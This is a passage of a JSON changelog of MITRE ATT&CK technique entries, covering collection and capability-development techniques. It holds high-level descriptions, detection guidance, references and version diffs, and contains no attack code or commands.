can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\\n+The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \"}, \"root['x_mitre_version']\": {\"new_value\": \"3.2\", \"old_value\": \"3.1\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Atlassian Confluence Logging\", \"description\": \"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.\", \"url\": \"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html\"}, \"root['x_mitre_contributors'][0]\": \"Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)\", \"root['x_mitre_contributors'][1]\": \"Regina Elwell\", \"root['x_mitre_contributors'][2]\": \"Isif Ibrahima\", \"root['x_mitre_platforms'][6]\": \"IaaS\"}}", "previous_version": "3.1", "version_change": "3.1 \u2192 3.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage information repositories to mine vat1Adversaries may leverage information repositories to mine va
>luable information. Information repositories are tools that >luable information. Information repositories are tools that 
>allow for storage of information, typically to facilitate co>allow for storage of information, typically to facilitate co
>llaboration or information sharing between users, and can st>llaboration or information sharing between users, and can st
>ore a wide variety of data that may aid adversaries in furth>ore a wide variety of data that may aid adversaries in furth
>er objectives, or direct access to the target information.  >er objectives, or direct access to the target information. A
>The following is a brief list of example information that ma>dversaries may also abuse external sharing features to share
>y hold potential value to an adversary and may also be found> sensitive documents with recipients outside of the organiza
> on an information repository:  * Policies, procedures, and >tion.   The following is a brief list of example information
>standards * Physical / logical network diagrams * System arc> that may hold potential value to an adversary and may also 
>hitecture diagrams * Technical system documentation * Testin>be found on an information repository:  * Policies, procedur
>g / development credentials * Work / project schedules * Sou>es, and standards * Physical / logical network diagrams * Sy
>rce code snippets * Links to network shares and other intern>stem architecture diagrams * Technical system documentation 
>al resources  Information stored in a repository may vary ba>* Testing / development credentials * Work / project schedul
>sed on the specific instance or environment. Specific common>es * Source code snippets * Links to network shares and othe
> information repositories include [Sharepoint](https://attac>r internal resources  Information stored in a repository may
>k.mitre.org/techniques/T1213/002), [Confluence](https://atta> vary based on the specific instance or environment. Specifi
>ck.mitre.org/techniques/T1213/001), and enterprise databases>c common information repositories include web-based platform
> such as SQL Server.>s such as [Sharepoint](https://attack.mitre.org/techniques/T
 >1213/002) and [Confluence](https://attack.mitre.org/techniqu
 >es/T1213/001), specific services such as Code Repositories, 
 >IaaS databases, enterprise databases, and other storage infr
 >astructure such as SQL Server.
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1018: User Account Management", "M1047: Audit", "T1213: Data from Information Repositories Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:20.537000+00:00", "modified": "2021-10-15 22:16:42.734000+00:00", "name": "Data from Local System", "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1005", "external_id": "T1005" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Script: Script Execution", "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "Privileges to access certain files and directories" ], "x_mitre_version": "1.3", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:16:42.734000+00:00\", \"old_value\": \"2020-05-26 19:21:25.974000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Script: Script Execution\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "changelog_mitigations": { "shared": [ "T1005: Data from Local System Mitigation" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:31.584000+00:00", "modified": "2021-10-15 22:17:35.218000+00:00", "name": "Data from Removable Media", "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1025", "external_id": "T1025" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "Privileges to access removable media drive and files" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:17:35.218000+00:00\", \"old_value\": \"2020-03-24 15:44:46.584000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "T1025: Data from Removable Media Mitigation" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:30:00.877000+00:00", "modified": "2021-10-17 16:07:08.768000+00:00", "name": "Develop Capabilities", "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1587", "external_id": "T1587" }, { "source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" }, { "source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" }, { "source_name": "Bitdefender StrongPity June 2020", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf" }, { "source_name": "Talos Promethium June 2020", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html" }, { "source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata", "Malware Repository: Malware Content", "Internet Scan: Response Content" ], "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:07:08.768000+00:00\", \"old_value\": \"2021-04-15 03:08:33.511000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n\\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n+Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n+\\n+Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Splunk Kovar Certificates 2017\", \"description\": \"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.\", \"url\": \"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Content)", "DS0004: Malware Repository (Malware Metadata)", "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:41:08.652000+00:00", "modified": "2021-10-17 16:07:08.549000+00:00", "name": "Code Signing Certificates", "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1587/002", "external_id": "T1587.002" }, { "source_name": "Wikipedia Code Signing", "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", "url": "https://en.wikipedia.org/wiki/Code_signing" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata" ], "x_mitre_detection": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:07:08.549000+00:00\", \"old_value\": \"2021-04-15 03:06:56.855000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:42:24.974000+00:00", "modified": "2021-10-16 17:32:34.604000+00:00", "name": "Digital Certificates", "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1587/003", "external_id": "T1587.003" }, { "source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:32:34.604000+00:00\", \"old_value\": \"2021-04-15 02:33:38.589000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\\n\\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\\n\\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.\", \"old_value\": \"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\\n\\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\\n\\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\\n \\n-Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\\n+Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\\n \\n After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may create self-signed SSL/TLS certificates thatt1Adversaries may create self-signed SSL/TLS certificates that
> can be used during targeting. SSL/TLS certificates are desi> can be used during targeting. SSL/TLS certificates are desi
>gned to instill trust. They include information about the ke>gned to instill trust. They include information about the ke
>y, information about its owner's identity, and the digital s>y, information about its owner's identity, and the digital s
>ignature of an entity that has verified the certificate's co>ignature of an entity that has verified the certificate's co
>ntents are correct. If the signature is valid, and the perso>ntents are correct. If the signature is valid, and the perso
>n examining the certificate trusts the signer, then they kno>n examining the certificate trusts the signer, then they kno
>w they can use that key to communicate with its owner. In th>w they can use that key to communicate with its owner. In th
>e case of self-signing, digital certificates will lack the e>e case of self-signing, digital certificates will lack the e
>lement of trust associated with the signature of a third-par>lement of trust associated with the signature of a third-par
>ty certificate authority (CA).  Adversaries may create self->ty certificate authority (CA).  Adversaries may create self-
>signed SSL/TLS certificates that can be used to further thei>signed SSL/TLS certificates that can be used to further thei
>r operations, such as encrypting C2 traffic (ex: [Asymmetric>r operations, such as encrypting C2 traffic (ex: [Asymmetric
> Cryptography](https://attack.mitre.org/techniques/T1573/002> Cryptography](https://attack.mitre.org/techniques/T1573/002
>) with [Web Protocols](https://attack.mitre.org/techniques/T>) with [Web Protocols](https://attack.mitre.org/techniques/T
>1071/001)) or even enabling [Man-in-the-Middle](https://atta>1071/001)) or even enabling [Adversary-in-the-Middle](https:
>ck.mitre.org/techniques/T1557) if added to the root of trust>//attack.mitre.org/techniques/T1557) if added to the root of
> (i.e. [Install Root Certificate](https://attack.mitre.org/t> trust (i.e. [Install Root Certificate](https://attack.mitre
>echniques/T1553/004)).  After creating a digital certificate>.org/techniques/T1553/004)).  After creating a digital certi
>, an adversary may then install that certificate (see [Insta>ficate, an adversary may then install that certificate (see 
>ll Digital Certificate](https://attack.mitre.org/techniques/>[Install Digital Certificate](https://attack.mitre.org/techn
>T1608/003)) on infrastructure under their control.>iques/T1608/003)) on infrastructure under their control.
", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:33:01.433000+00:00", "modified": "2021-10-17 16:05:41.186000+00:00", "name": "Malware", "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1587/001", "external_id": "T1587.001" }, { "source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" }, { "source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" }, { "source_name": "ActiveMalwareEnergy", "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.", "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/" }, { "source_name": "FBI Flash FIN7 USB", "description": "Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020.", "url": "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf" }, { "source_name": "FireEye APT29", "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata", "Malware Repository: Malware Content" ], "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:05:41.186000+00:00\", \"old_value\": \"2021-04-15 03:08:33.165000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"old_value\": 